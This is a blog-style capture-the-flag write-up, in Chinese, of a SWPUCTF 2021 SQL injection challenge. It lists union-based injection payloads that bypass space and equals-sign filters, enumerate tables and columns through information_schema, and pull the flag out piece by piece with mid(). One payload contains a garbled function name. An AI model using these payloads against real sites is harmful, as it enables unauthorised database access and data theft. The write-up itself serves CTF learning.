[SWPUCTF 2021 新生赛]sql

 

前言思路:这个CTF题是一个SQL注入相关的题目,题中所含相关知识点:

  1. 题目中过滤了空格、等于号,使用/**/替换空格符,使用like替换等于号,后面步骤均为常规sql注入;
  2. 到最后显示flag时,因页面只能显示20字符,完整flag不能显示完全,常规思路可使用截断函数(substr、right、REVERSE、mid)等函数进行多次截断,然后拼接得到完整flag,本题过滤了substr、right、RESERVE函数,本题可使用mid函数进行逐条显示,最后再把flag组合拼接到一起

 做题详细步骤:

  1. 首先f12发现title标签里面参数是wllm
  2. 多次尝试后发现标签分别为
?wllm=1  -- 回显正常

?wllm=1 ' -- 报错

?wllm=1' %23  -- 回显正常

?wllm=-1' or 1=1%23  -- 发现有过滤

  测试过滤后发现有过滤

    尝试空格替换为/**/或者+

    等于号替换为like

经过反复测试:

测试长度为3

?wllm=1%27+ order + by +3%23回显正常
?wllm=1%27+ order + by +4%23回显错误

找回显位置

?wllm=-1' union /**/ select /**/ 1,2,3%23

查当前数据库

?wllm=-1' union /**/ select /**/ 1,2, database ()%23

查表test_db数据库下的表:

?wllm=-1 'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23

 查LTLT表下的字段:

?wllm=-1' union /**/ select /**/ 1,2,group_concat(column_name) /**/ from /**/ information_schema.columns /**/ where /**/ table_schema /**/ like /**/ database ()%23

 

查内容:

?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_ flag%23

  

 

 

 

发现flag不能显示完全,页面显示字符的长度不够,只能显示,使用截断函数substr right发现被过滤,使用mid发现未被过滤,mid函数多次截取,得完整flag

 

?wllm=-1'union/**/select/**/1,2,mid(group_conc字符at(flag),20,20)/**/from/**/test_db.LTLT_flag%23
?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),40,20)/**/from/**/test_db.LTLT_flag%23

 

  

多次拼接后即可得到完整flag

 

  

 

posted @ 2023-03-06 13:13  信安小萌新  阅读(420)  评论(0编辑  收藏  举报